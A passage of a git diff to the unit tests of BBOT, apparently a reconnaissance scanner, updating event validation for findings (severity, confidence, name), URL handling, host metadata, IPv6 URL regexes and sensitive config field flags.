+    # must have severity
     with pytest.raises(ValidationError, match=".*validation error.*\nseverity\n.*Field required.*"):
-        test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "VULNERABILITY", dummy=True)
+        test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", dummy=True)
     with pytest.raises(ValidationError, match=".*host.*\n.*Invalid host.*"):
         test_vuln = scan.make_event(
-            {"host": "!@#$", "severity": "INFO", "description": "asdf"}, "VULNERABILITY", dummy=True
+            {"host": "!@#$", "severity": "INFO", "confidence": "HIGH", "description": "asdf"},
+            "FINDING",
+            dummy=True,
         )
+    # invalid severity
     with pytest.raises(ValidationError, match=".*severity.*\n.*Invalid severity.*"):
         test_vuln = scan.make_event(
-            {"host": "evilcorp.com", "severity": "WACK", "description": "asdf"}, "VULNERABILITY", dummy=True
+            {"host": "evilcorp.com", "severity": "WACK", "confidence": "HIGH", "description": "asdf"},
+            "FINDING",
+            dummy=True,
+        )
+    # invalid confidence
+    with pytest.raises(ValidationError, match=".*confidence.*\n.*Invalid confidence.*"):
+        test_vuln = scan.make_event(
+            {
+                "host": "evilcorp.com",
+                "severity": "HIGH",
+                "confidence": "INVALID",
+                "description": "asdf",
+                "name": "Test",
+            },
+            "FINDING",
+            dummy=True,
+        )
+    # must have confidence
+    with pytest.raises(ValidationError, match=".*confidence.*\n.*Field required.*"):
+        test_vuln = scan.make_event(
+            {"host": "evilcorp.com", "severity": "HIGH", "description": "asdf", "name": "Test"},
+            "FINDING",
+            dummy=True,
+        )
+
+    # test the standardized finding color palette
+    from bbot.core.event.base import FINDING
+
+    assert FINDING.confidence_colors_emoji == {
+        "CONFIRMED": "🟣",
+        "HIGH": "🔴",
+        "MEDIUM": "🟠",
+        "LOW": "🟡",
+        "UNKNOWN": "⚪",
+    }
+    assert FINDING.severity_colors_emoji == {
+        "INFO": "🟦",
+        "LOW": "🟨",
+        "MEDIUM": "🟧",
+        "HIGH": "🟥",
+        "CRITICAL": "🟪",
+    }
+    assert FINDING.severity_colors_rgb["INFO"] == (113, 161, 255)
+    assert FINDING.severity_colors_rgb["CRITICAL"] == (207, 0, 255)
+    assert set(FINDING.confidence_brightness) == {"CONFIRMED", "HIGH", "MEDIUM", "LOW", "UNKNOWN"}
+    assert FINDING.severity_card_colors["CRITICAL"] == "Attention"
+
+    # test CONFIRMED gets bold formatting
+    confirmed_finding = scan.make_event(
+        {
+            "host": "test.com",
+            "name": "Test",
+            "description": "Test",
+            "severity": "HIGH",
+            "confidence": "CONFIRMED",
+            "url": "http://test.com",
+        },
+        "FINDING",
+        dummy=True,
+    )
+    assert confirmed_finding.host == "test.com"
+    assert confirmed_finding.port == 80
+    assert confirmed_finding.netloc == "test.com:80"
+    assert confirmed_finding.parsed_url.geturl() == "http://test.com/"
+    pretty_string = confirmed_finding._pretty_string()
+    assert "[\033[1mCONFIRMED\033[0m]" in pretty_string
+    assert f"confidence-{confirmed_finding.data['confidence'].lower()}" in confirmed_finding.tags
+
+    # must have name
+    with pytest.raises(ValidationError, match=".*name.*\n.*Field required.*"):
+        test_vuln = scan.make_event(
+            {"host": "evilcorp.com", "severity": "INFO", "description": "asdf", "confidence": "HIGH"},
+            "FINDING",
+            dummy=True,
         )
 
+    # technology should be lowercased
+    tech_event = scan.make_event(
+        {"host": "evilcorp.com", "technology": "HTTP", "url": "http://evilcorp.com/test"},
+        "TECHNOLOGY",
+        dummy=True,
+    )
+    assert tech_event.data["technology"] == "http"
+    assert tech_event.port == 80
+
     # test tagging
     ip_event_1 = scan.make_event("8.8.8.8", dummy=True)
     assert "private-ip" not in ip_event_1.tags
@@ -405,9 +544,9 @@ async def test_events(events, helpers):
     assert scan.make_event("bob@xn--eckwd4c7c.xn--zckzah", dummy=True).data == "bob@xn--eckwd4c7c.xn--zckzah"
     assert scan.make_event("テスト@xn--eckwd4c7c.xn--zckzah", dummy=True).data == "テスト@xn--eckwd4c7c.xn--zckzah"
     assert scan.make_event("xn--eckwd4c7c.xn--zckzah:80", dummy=True).data == "xn--eckwd4c7c.xn--zckzah:80"
-    assert scan.make_event("http://xn--eckwd4c7c.xn--zckzah:80", dummy=True).data == "http://xn--eckwd4c7c.xn--zckzah/"
+    assert scan.make_event("http://xn--eckwd4c7c.xn--zckzah:80", dummy=True).url == "http://xn--eckwd4c7c.xn--zckzah/"
     assert (
-        scan.make_event("http://xn--eckwd4c7c.xn--zckzah:80/テスト", dummy=True).data
+        scan.make_event("http://xn--eckwd4c7c.xn--zckzah:80/テスト", dummy=True).url
         == "http://xn--eckwd4c7c.xn--zckzah/テスト"
     )
 
@@ -415,10 +554,9 @@ async def test_events(events, helpers):
     assert scan.make_event("bob@ドメイン.テスト", dummy=True).data == "bob@xn--eckwd4c7c.xn--zckzah"
     assert scan.make_event("テスト@ドメイン.テスト", dummy=True).data == "テスト@xn--eckwd4c7c.xn--zckzah"
     assert scan.make_event("ドメイン.テスト:80", dummy=True).data == "xn--eckwd4c7c.xn--zckzah:80"
-    assert scan.make_event("http://ドメイン.テスト:80", dummy=True).data == "http://xn--eckwd4c7c.xn--zckzah/"
+    assert scan.make_event("http://ドメイン.テスト:80", dummy=True).url == "http://xn--eckwd4c7c.xn--zckzah/"
     assert (
-        scan.make_event("http://ドメイン.テスト:80/テスト", dummy=True).data
-        == "http://xn--eckwd4c7c.xn--zckzah/テスト"
+        scan.make_event("http://ドメイン.テスト:80/テスト", dummy=True).url == "http://xn--eckwd4c7c.xn--zckzah/テスト"
     )
     # thai
     assert (
@@ -437,11 +575,11 @@ async def test_events(events, helpers):
         == "xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80"
     )
     assert (
-        scan.make_event("http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80", dummy=True).data
+        scan.make_event("http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80", dummy=True).url
         == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/"
     )
     assert (
-        scan.make_event("http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80/ทดสอบ", dummy=True).data
+        scan.make_event("http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80/ทดสอบ", dummy=True).url
         == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/ทดสอบ"
     )
 
@@ -450,10 +588,10 @@ async def test_events(events, helpers):
     assert scan.make_event("ทดสอบ@เราเที่ยวด้วยกัน.com", dummy=True).data == "ทดสอบ@xn--12c1bik6bbd8ab6hd1b5jc6jta.com"
     assert scan.make_event("เราเที่ยวด้วยกัน.com:80", dummy=True).data == "xn--12c1bik6bbd8ab6hd1b5jc6jta.com:80"
     assert (
-        scan.make_event("http://เราเที่ยวด้วยกัน.com:80", dummy=True).data == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/"
+        scan.make_event("http://เราเที่ยวด้วยกัน.com:80", dummy=True).url == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/"
     )
     assert (
-        scan.make_event("http://เราเที่ยวด้วยกัน.com:80/ทดสอบ", dummy=True).data
+        scan.make_event("http://เราเที่ยวด้วยกัน.com:80/ทดสอบ", dummy=True).url
         == "http://xn--12c1bik6bbd8ab6hd1b5jc6jta.com/ทดสอบ"
     )
 
@@ -492,7 +630,7 @@ async def test_events(events, helpers):
     db_event = scan.make_event("evilcorp.com:80", parent=scan.root_event, context="test context")
     assert db_event.parent == scan.root_event
     assert db_event.parent is scan.root_event
-    db_event._resolved_hosts = {"127.0.0.1"}
+    db_event.resolved_hosts = ("127.0.0.1",)
     db_event.scope_distance = 1
     assert db_event.discovery_context == "test context"
     assert db_event.discovery_path == ["test context"]
@@ -501,7 +639,7 @@ async def test_events(events, helpers):
     assert db_event.parent_chain[0] == str(db_event.uuid)
     assert db_event.parent.uuid == scan.root_event.uuid
     assert db_event.parent_uuid == scan.root_event.uuid
-    timestamp = db_event.timestamp.isoformat()
+    timestamp = db_event.timestamp.timestamp()
     json_event = db_event.json()
     assert isinstance(json_event["uuid"], str)
     assert json_event["uuid"] == str(db_event.uuid)
@@ -522,7 +660,7 @@ async def test_events(events, helpers):
     assert reconstituted_event.uuid == db_event.uuid
     assert reconstituted_event.parent_uuid == scan.root_event.uuid
     assert reconstituted_event.scope_distance == 1
-    assert reconstituted_event.timestamp.isoformat() == timestamp
+    assert reconstituted_event.timestamp.timestamp() == timestamp
     assert reconstituted_event.data == "evilcorp.com:80"
     assert reconstituted_event.type == "OPEN_TCP_PORT"
     assert reconstituted_event.host == "evilcorp.com"
@@ -536,22 +674,7 @@ async def test_events(events, helpers):
     assert hostless_event_json["data"] == "asdf"
     assert "host" not in hostless_event_json
 
-    # SIEM-friendly serialize/deserialize
-    json_event_siemfriendly = db_event.json(siem_friendly=True)
-    assert json_event_siemfriendly["scope_distance"] == 1
-    assert json_event_siemfriendly["data"] == {"OPEN_TCP_PORT": "evilcorp.com:80"}
-    assert json_event_siemfriendly["type"] == "OPEN_TCP_PORT"
-    assert json_event_siemfriendly["host"] == "evilcorp.com"
-    assert json_event_siemfriendly["timestamp"] == timestamp
-    reconstituted_event2 = event_from_json(json_event_siemfriendly, siem_friendly=True)
-    assert reconstituted_event2.scope_distance == 1
-    assert reconstituted_event2.timestamp.isoformat() == timestamp
-    assert reconstituted_event2.data == "evilcorp.com:80"
-    assert reconstituted_event2.type == "OPEN_TCP_PORT"
-    assert reconstituted_event2.host == "evilcorp.com"
-    assert "127.0.0.1" in reconstituted_event2.resolved_hosts
-
-    http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event)
+    http_response = scan.make_event(blasthttp_response, "HTTP_RESPONSE", parent=scan.root_event)
     assert http_response.parent_id == scan.root_event.id
     assert http_response.data["input"] == "http://example.com:80"
     assert (
@@ -559,9 +682,13 @@ async def test_events(events, helpers):
         == 'HTTP/1.1 200 OK\r\nConnection: close\r\nAge: 526111\r\nCache-Control: max-age=604800\r\nContent-Type: text/html; charset=UTF-8\r\nDate: Mon, 14 Nov 2022 17:14:27 GMT\r\nEtag: "3147526947+ident+gzip"\r\nExpires: Mon, 21 Nov 2022 17:14:27 GMT\r\nLast-Modified: Thu, 17 Oct 2019 07:18:26 GMT\r\nServer: ECS (agb/A445)\r\nVary: Accept-Encoding\r\nX-Cache: HIT\r\n\r\n<!doctype html>\n<html>\n<head>\n    <title>Example Domain</title>\n\n    <meta charset="utf-8" />\n    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />\n    <meta name="viewport" content="width=device-width, initial-scale=1" />\n    <style type="text/css">\n    body {\n        background-color: #f0f0f2;\n        margin: 0;\n        padding: 0;\n        font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;\n        \n    }\n    div {\n        width: 600px;\n        margin: 5em auto;\n        padding: 2em;\n        background-color: #fdfdff;\n        border-radius: 0.5em;\n        box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);\n    }\n    a:link, a:visited {\n        color: #38488f;\n        text-decoration: none;\n    }\n    @media (max-width: 700px) {\n        div {\n            margin: 0 auto;\n            width: auto;\n        }\n    }\n    </style>    \n</head>\n\n<body>\n<div>\n    <h1>Example Domain</h1>\n    <p>This domain is for use in illustrative examples in documents. You may use this\n    domain in literature without prior coordination or asking for permission.</p>\n    <p><a href="https://www.iana.org/domains/example">More information...</a></p>\n</div>\n</body>\n</html>\n'
     )
     json_event = http_response.json(mode="graph")
+    assert "data" in json_event
+    assert "data_json" not in json_event
     assert isinstance(json_event["data"], str)
     json_event = http_response.json()
-    assert isinstance(json_event["data"], dict)
+    assert "data" not in json_event
+    assert "data_json" in json_event
+    assert isinstance(json_event["data_json"], dict)
     assert json_event["type"] == "HTTP_RESPONSE"
     assert json_event["host"] == "example.com"
     assert json_event["parent"] == scan.root_event.id
@@ -635,6 +762,7 @@ async def test_event_discovery_context():
     from bbot.modules.base import BaseModule
 
     scan = Scanner("evilcorp.com")
+    await scan._prep()
     await scan.helpers.dns._mock_dns(
         {
             "evilcorp.com": {"A": ["1.2.3.4"]},
@@ -644,7 +772,6 @@ async def test_event_discovery_context():
             "four.evilcorp.com": {"A": ["1.2.3.4"]},
         }
     )
-    await scan._prep()
 
     dummy_module_1 = scan._make_dummy_module("module_1")
     dummy_module_2 = scan._make_dummy_module("module_2")
@@ -794,6 +921,7 @@ async def handle_event(self, event):
     # test to make sure this doesn't come back
     #  https://github.com/blacklanternsecurity/bbot/issues/1498
     scan = Scanner("http://blacklanternsecurity.com", config={"dns": {"minimal": False}})
+    await scan._prep()
     await scan.helpers.dns._mock_dns(
         {"blacklanternsecurity.com": {"TXT": ["blsops.com"], "A": ["127.0.0.1"]}, "blsops.com": {"A": ["127.0.0.1"]}}
     )
@@ -812,6 +940,7 @@ async def test_event_web_spider_distance(bbot_scanner):
 
     # URL_UNVERIFIED events should not increment web spider distance
     scan = bbot_scanner(config={"web": {"spider_distance": 1}})
+    await scan._prep()
     url_event_1 = scan.make_event("http://www.evilcorp.com/test1", "URL_UNVERIFIED", parent=scan.root_event)
     assert url_event_1.web_spider_distance == 0
     url_event_2 = scan.make_event("http://www.evilcorp.com/test2", "URL_UNVERIFIED", parent=url_event_1)
@@ -825,6 +954,7 @@ async def test_event_web_spider_distance(bbot_scanner):
 
     # URL events should increment web spider distance
     scan = bbot_scanner(config={"web": {"spider_distance": 1}})
+    await scan._prep()
     url_event_1 = scan.make_event("http://www.evilcorp.com/test1", "URL", parent=scan.root_event, tags="status-200")
     assert url_event_1.web_spider_distance == 0
     url_event_2 = scan.make_event("http://www.evilcorp.com/test2", "URL", parent=url_event_1, tags="status-200")
@@ -897,43 +1027,10 @@ async def test_event_web_spider_distance(bbot_scanner):
     assert "spider-max" not in url_event_5.tags
 
 
-def test_event_confidence():
-    scan = Scanner()
-    # default 100
-    event1 = scan.make_event("evilcorp.com", "DNS_NAME", dummy=True)
-    assert event1.confidence == 100
-    assert event1.cumulative_confidence == 100
-    # custom confidence
-    event2 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=90, dummy=True)
-    assert event2.confidence == 90
-    assert event2.cumulative_confidence == 90
-    # max 100
-    event3 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=999, dummy=True)
-    assert event3.confidence == 100
-    assert event3.cumulative_confidence == 100
-    # min 1
-    event4 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=0, dummy=True)
-    assert event4.confidence == 1
-    assert event4.cumulative_confidence == 1
-    # first event in chain
-    event5 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=90, parent=scan.root_event)
-    assert event5.confidence == 90
-    assert event5.cumulative_confidence == 90
-    # compounding confidence
-    event6 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=50, parent=event5)
-    assert event6.confidence == 50
-    assert event6.cumulative_confidence == 45
-    event7 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=50, parent=event6)
-    assert event7.confidence == 50
-    assert event7.cumulative_confidence == 22
-    # 100 confidence resets
-    event8 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=100, parent=event7)
-    assert event8.confidence == 100
-    assert event8.cumulative_confidence == 100
-
-
-def test_event_closest_host():
+@pytest.mark.asyncio
+async def test_event_closest_host():
     scan = Scanner()
+    await scan._prep()
     # first event has a host
     event1 = scan.make_event("evilcorp.com", "DNS_NAME", parent=scan.root_event)
     assert event1.host == "evilcorp.com"
@@ -953,13 +1050,21 @@ def test_event_closest_host():
     event3 = scan.make_event({"path": "/tmp/asdf.txt"}, "FILESYSTEM", parent=event2)
     assert not event3.host
     # finding automatically uses the host from the second event
-    finding = scan.make_event({"description": "test"}, "FINDING", parent=event3)
+    finding = scan.make_event(
+        {"description": "test", "severity": "LOW", "confidence": "MEDIUM", "name": "Test Finding"},
+        "FINDING",
+        parent=event3,
+    )
     assert finding.data["host"] == "www.evilcorp.com"
     assert finding.data["url"] == "http://www.evilcorp.com/asdf"
     assert finding.data["path"] == "/tmp/asdf.txt"
     assert finding.host == "www.evilcorp.com"
     # same with vuln
-    vuln = scan.make_event({"description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3)
+    vuln = scan.make_event(
+        {"description": "test", "severity": "HIGH", "confidence": "HIGH", "name": "Test Finding"},
+        "FINDING",
+        parent=event3,
+    )
     assert vuln.data["host"] == "www.evilcorp.com"
     assert vuln.data["url"] == "http://www.evilcorp.com/asdf"
     assert vuln.data["path"] == "/tmp/asdf.txt"
@@ -969,24 +1074,69 @@ def test_event_closest_host():
     event3 = scan.make_event("wat", "ASDF", parent=scan.root_event)
     assert not event3.host
     with pytest.raises(ValueError):
-        finding = scan.make_event({"description": "test"}, "FINDING", parent=event3)
-    finding = scan.make_event({"path": "/tmp/asdf.txt", "description": "test"}, "FINDING", parent=event3)
+        finding = scan.make_event(
+            {"description": "test", "severity": "LOW", "confidence": "MEDIUM", "name": "Test Finding"},
+            "FINDING",
+            parent=event3,
+        )
+    finding = scan.make_event(
+        {
+            "path": "/tmp/asdf.txt",
+            "description": "test",
+            "severity": "LOW",
+            "confidence": "MEDIUM",
+            "name": "Test Finding",
+        },
+        "FINDING",
+        parent=event3,
+    )
     assert finding is not None
-    finding = scan.make_event({"host": "evilcorp.com", "description": "test"}, "FINDING", parent=event3)
+    finding = scan.make_event(
+        {
+            "host": "evilcorp.com",
+            "description": "test",
+            "severity": "LOW",
+            "confidence": "MEDIUM",
+            "name": "Test Finding",
+        },
+        "FINDING",
+        parent=event3,
+    )
     assert finding is not None
     with pytest.raises(ValueError):
-        vuln = scan.make_event({"description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3)
+        vuln = scan.make_event(
+            {"description": "test", "severity": "HIGH", "confidence": "CONFIRMED", "name": "Test Finding"},
+            "FINDING",
+            parent=event3,
+        )
     vuln = scan.make_event(
-        {"path": "/tmp/asdf.txt", "description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3
+        {
+            "path": "/tmp/asdf.txt",
+            "description": "test",
+            "severity": "HIGH",
+            "confidence": "CONFIRMED",
+            "name": "Test Finding",
+        },
+        "FINDING",
+        parent=event3,
     )
     assert vuln is not None
     vuln = scan.make_event(
-        {"host": "evilcorp.com", "description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3
+        {
+            "host": "evilcorp.com",
+            "description": "test",
+            "severity": "HIGH",
+            "confidence": "CONFIRMED",
+            "name": "Test Finding",
+        },
+        "FINDING",
+        parent=event3,
     )
     assert vuln is not None
 
 
-def test_event_magic():
+@pytest.mark.asyncio
+async def test_event_magic():
     from bbot.core.helpers.libmagic import get_magic_info, get_compression
 
     import base64
@@ -1007,6 +1157,7 @@ def test_event_magic():
 
     # test filesystem event - file
     scan = Scanner()
+    await scan._prep()
     event = scan.make_event({"path": zip_file}, "FILESYSTEM", parent=scan.root_event)
     assert event.data == {
         "path": "/tmp/.bbottestzipasdkfjalsdf.zip",
@@ -1020,6 +1171,7 @@ def test_event_magic():
 
     # test filesystem event - folder
     scan = Scanner()
+    await scan._prep()
     event = scan.make_event({"path": "/tmp"}, "FILESYSTEM", parent=scan.root_event)
     assert event.data == {"path": "/tmp"}
     assert event.tags == {"folder"}
@@ -1030,6 +1182,7 @@ def test_event_magic():
 @pytest.mark.asyncio
 async def test_mobile_app():
     scan = Scanner()
+    await scan._prep()
     with pytest.raises(ValidationError):
         scan.make_event("com.evilcorp.app", "MOBILE_APP", parent=scan.root_event)
     with pytest.raises(ValidationError):
@@ -1058,6 +1211,7 @@ async def test_mobile_app():
 @pytest.mark.asyncio
 async def test_filesystem():
     scan = Scanner("FILESYSTEM:/tmp/asdfasdgasdfasdfddsdf")
+    await scan._prep()
     events = [e async for e in scan.async_start()]
     assert len(events) == 3
     filesystem_events = [e for e in events if e.type == "FILESYSTEM"]
@@ -1066,26 +1220,42 @@ async def test_filesystem():
     assert filesystem_events[0].data == {"path": "/tmp/asdfasdgasdfasdfddsdf"}
 
 
-def test_event_hashing():
+@pytest.mark.asyncio
+async def test_event_hashing():
     scan = Scanner("example.com")
+    await scan._prep()
     url_event = scan.make_event("https://api.example.com/", "URL_UNVERIFIED", parent=scan.root_event)
     host_event_1 = scan.make_event("www.example.com", "DNS_NAME", parent=url_event)
     host_event_2 = scan.make_event("test.example.com", "DNS_NAME", parent=url_event)
-    finding_data = {"description": "Custom Yara Rule [find_string] Matched via identifier [str1]"}
+    finding_data = {
+        "description": "Custom Yara Rule [find_string] Matched via identifier [str1]",
+        "severity": "MEDIUM",
+        "confidence": "HIGH",
+        "name": "Finding",
+    }
     finding1 = scan.make_event(finding_data, "FINDING", parent=host_event_1)
     finding2 = scan.make_event(finding_data, "FINDING", parent=host_event_2)
     finding3 = scan.make_event(finding_data, "FINDING", parent=host_event_2)
 
     assert finding1.data == {
         "description": "Custom Yara Rule [find_string] Matched via identifier [str1]",
+        "name": "Finding",
+        "severity": "MEDIUM",
+        "confidence": "HIGH",
         "host": "www.example.com",
     }
     assert finding2.data == {
         "description": "Custom Yara Rule [find_string] Matched via identifier [str1]",
+        "name": "Finding",
+        "severity": "MEDIUM",
+        "confidence": "HIGH",
         "host": "test.example.com",
     }
     assert finding3.data == {
         "description": "Custom Yara Rule [find_string] Matched via identifier [str1]",
+        "name": "Finding",
+        "severity": "MEDIUM",
+        "confidence": "HIGH",
         "host": "test.example.com",
     }
     assert finding1.id != finding2.id
@@ -1096,3 +1266,120 @@ def test_event_hashing():
     assert finding2.data_hash == finding3.data_hash
     assert hash(finding1) != hash(finding2)
     assert hash(finding2) == hash(finding3)
+
+
+@pytest.mark.asyncio
+async def test_host_metadata():
+    scan = Scanner("example.com")
+    await scan._prep()
+
+    # host_metadata should be lazy-initialized as empty dict
+    dns_event = scan.make_event("example.com", "DNS_NAME", parent=scan.root_event)
+    assert dns_event.host_metadata == {}
+
+    # set host_metadata
+    dns_event.host_metadata = {
+        "example.com": {
+            "cloud_providers": {
+                "cloudflare": {"types": ["waf"], "match": "domain"},
+            }
+        },
+        "104.18.26.217": {
+            "cloud_providers": {
+                "cloudflare": {"types": ["waf"], "match": "ip"},
+                "amazon": {"types": ["cloud"], "match": "ip"},
+            }
+        },
+    }
+
+    # verify access
+    assert "cloudflare" in dns_event.host_metadata["example.com"]["cloud_providers"]
+    assert dns_event.host_metadata["104.18.26.217"]["cloud_providers"]["amazon"]["match"] == "ip"
+
+    # verify JSON serialization
+    j = dns_event.json()
+    assert "host_metadata" in j
+    assert j["host_metadata"]["example.com"]["cloud_providers"]["cloudflare"]["types"] == ["waf"]
+    assert j["host_metadata"]["104.18.26.217"]["cloud_providers"]["amazon"]["match"] == "ip"
+
+    # verify host_metadata is NOT serialized when empty
+    dns_event2 = scan.make_event("test.example.com", "DNS_NAME", parent=scan.root_event)
+    j2 = dns_event2.json()
+    assert "host_metadata" not in j2
+
+    # URL events also have host_metadata
+    url_event = scan.make_event("https://example.com/", "URL_UNVERIFIED", parent=scan.root_event)
+    assert url_event.host_metadata == {}
+    url_event.host_metadata["example.com"] = {"cloud_providers": {"google": {"types": ["cloud"], "match": "domain"}}}
+    j3 = url_event.json()
+    assert j3["host_metadata"]["example.com"]["cloud_providers"]["google"]["types"] == ["cloud"]
+
+    # URL event data dict should contain url, and optionally http_title/status_code
+    assert url_event.data["url"] == "https://example.com/"
+    url_event.http_title = "Example Domain"
+    url_event.data["status_code"] = 200
+    assert url_event.data["http_title"] == "Example Domain"
+    assert url_event.http_status == 200
+    j4 = url_event.json()
+    assert j4["data_json"]["http_title"] == "Example Domain"
+    assert j4["data_json"]["status_code"] == 200
+
+    await scan._cleanup()
+
+
+@pytest.mark.asyncio
+async def test_web_parameter_minimize_sentinel():
+    """Regression: forward_event distributes events via sequential awaits.
+    A fast module can finish and _minimize() (dropping _module_consumers
+    to 0, stripping original_value) before slower modules are queued.
+    The sentinel hold in forward_event prevents this.
+
+    We reproduce the race deterministically by patching queue_event to
+    call _minimize() immediately after queueing (simulating the worker
+    finishing before the next module is queued).
+    """
+    scan = Scanner("http://example.com", modules=["hunt"])
+    await scan._prep()
+
+    data = {
+        "host": "example.com",
+        "type": "COOKIE",
+        "name": "session",
+        "original_value": "abc123",
+        "url": "https://example.com/",
+        "description": "Set-Cookie Assigned Cookie [session]",
+        "additional_params": {},
+    }
+    event = scan.make_event(data, "WEB_PARAMETER", parent=scan.root_event)
+
+    # Patch every non-intercept module EXCEPT hunt: after queueing,
+    # immediately _minimize() as if the worker finished instantly.
+    # hunt is left un-patched -- it represents the slow module that
+    # still needs original_value when it eventually processes.
+    for module in scan.modules.values():
+        if module._intercept or module.name == "hunt":
+            continue
+        orig_queue = module.queue_event
+
+        async def _instant_finish(ev, _orig=orig_queue):
+            before = ev._module_consumers
+            await _orig(ev)
+            if ev._module_consumers > before:
+                ev._minimize()
+
+        module.queue_event = _instant_finish
+
+    # Reorder modules so fast (patched) output modules are iterated
+    # before hunt.  This guarantees the race: a fast module finishes
+    # and _minimize()s before hunt has been queued.
+    hunt_mod = scan.modules.pop("hunt")
+    scan.modules["hunt"] = hunt_mod
+
+    await scan.egress_module.forward_event(event, {})
+
+    # hunt must have accepted the event and still be holding it
+    assert event._module_consumers >= 1, "no module accepted the event"
+    # The sentinel must have prevented premature stripping
+    assert "original_value" in event.data, "original_value stripped during distribution -- sentinel missing"
+
+    await scan._cleanup()
diff --git a/bbot/test/test_step_1/test_excavate_url_regexes.py b/bbot/test/test_step_1/test_excavate_url_regexes.py
new file mode 100644
index 0000000000..d1a30dc50d
--- /dev/null
+++ b/bbot/test/test_step_1/test_excavate_url_regexes.py
@@ -0,0 +1,69 @@
+"""Unit tests for the URL regexes used by the excavate URLExtractor.
+
+These tests pin behaviour of the IPv6 host parsing in the YARA rule and the
+two Python regex post-filters (``full_url_regex`` / ``full_url_regex_strict``).
+
+They cover the regression in issue #1815: the original patterns rejected
+``http://[2001:db8::1]/`` and other IPv6 URLs because the host alternative
+only matched word characters and dots.
+"""
+
+import yara
+
+from bbot.modules.internal.excavate import excavate
+
+
+full_url_regex = excavate.URLExtractor.full_url_regex
+full_url_regex_strict = excavate.URLExtractor.full_url_regex_strict
+yara_url_rule = yara.compile(source=excavate.URLExtractor.yara_rules["url_full"])
+
+
+IPV6_URLS = [
+    "http://[2001:db8::1]/api",
+    "https://[2001:db8::1]:8443/api",
+    "http://[::1]/",
+    "http://[::1]:8080/path",
+    "https://[fe80::dead:beef]/foo/bar.html",
+    "http://[fe80::1234:5678:9abc:def0]:80/",
+]
+
+NON_IPV6_URLS = [
+    "http://example.com/",
+    "https://www.example.com:8080/path",
+    "http://127.0.0.1:8888/",
+    "https://asdffoo.test.notreal/some/path",
+]
+
+
+def test_full_url_regex_matches_ipv6():
+    for url in IPV6_URLS:
+        m = full_url_regex.search(url)
+        assert m is not None, f"full_url_regex should match IPv6 URL {url!r}"
+        # The captured host should retain the surrounding brackets so the
+        # downstream URL parser recognises it as IPv6.
+        assert m.group(2).startswith("["), f"host capture missing leading [ for {url!r}: {m.group(2)!r}"
+
+
+def test_full_url_regex_still_matches_existing_patterns():
+    for url in NON_IPV6_URLS:
+        assert full_url_regex.search(url) is not None, f"regression: full_url_regex broke for {url!r}"
+
+
+def test_full_url_regex_strict_matches_ipv6():
+    for url in IPV6_URLS:
+        assert full_url_regex_strict.match(url) is not None, f"full_url_regex_strict should match IPv6 URL {url!r}"
+
+
+def test_full_url_regex_strict_still_matches_existing_patterns():
+    for url in NON_IPV6_URLS:
+        assert full_url_regex_strict.match(url) is not None, f"regression: full_url_regex_strict broke for {url!r}"
+
+
+def test_yara_url_rule_matches_ipv6():
+    for url in IPV6_URLS:
+        assert yara_url_rule.match(data=url.encode()), f"YARA url_full rule should match IPv6 URL {url!r}"
+
+
+def test_yara_url_rule_still_matches_existing_patterns():
+    for url in NON_IPV6_URLS:
+        assert yara_url_rule.match(data=url.encode()), f"regression: YARA url_full rule broke for {url!r}"
diff --git a/bbot/test/test_step_1/test_field_metadata.py b/bbot/test/test_step_1/test_field_metadata.py
new file mode 100644
index 0000000000..be73478bcd
--- /dev/null
+++ b/bbot/test/test_step_1/test_field_metadata.py
@@ -0,0 +1,159 @@
+"""
+Tests for the unified `sensitive` / `mandatory` field-level metadata that
+drives:
+
+- redaction (`BBOTCore.no_secrets_config` / `secrets_only_config`)
+- the "Needs API Key" doc column (`MODULE_LOADER.modules_table`)
+- the runtime `BaseModule.auth_required` property
+"""
+
+from ..bbot_fixtures import *  # noqa: F401, F403
+
+
+def test_field_records_sensitive_and_mandatory_in_json_schema_extra():
+    from bbot.core.config.models import Field, is_mandatory, is_sensitive
+
+    f_secret = Field("", description="x", sensitive=True)
+    f_required = Field("", description="x", mandatory=True)
+    f_both = Field("", description="x", sensitive=True, mandatory=True)
+    f_plain = Field("", description="x")
+
+    assert is_sensitive(f_secret) is True
+    assert is_mandatory(f_secret) is False
+    assert is_sensitive(f_required) is False
+    assert is_mandatory(f_required) is True
+    assert is_sensitive(f_both) is True
+    assert is_mandatory(f_both) is True
+    assert is_sensitive(f_plain) is False
+    assert is_mandatory(f_plain) is False
+
+
+def test_global_config_marks_known_secrets_sensitive():
+    from bbot.core.config.models import BBOTConfig, WebConfig, is_sensitive
+
+    assert is_sensitive(BBOTConfig.model_fields["interactsh_token"]) is True
+    assert is_sensitive(WebConfig.model_fields["http_cookies"]) is True
+    # nearby non-secret control
+    assert is_sensitive(WebConfig.model_fields["http_timeout"]) is False
+
+
+def test_module_preload_extracts_sensitive_and_mandatory_sets():
+    """`_extract_pydantic_config` should return the field-level flags via AST."""
+    from bbot.core.modules import MODULE_LOADER
+
+    MODULE_LOADER.preload()
+    preloaded = MODULE_LOADER.preloaded()
+
+    assert preloaded["shodan_dns"]["options_sensitive"] == ["api_key"]
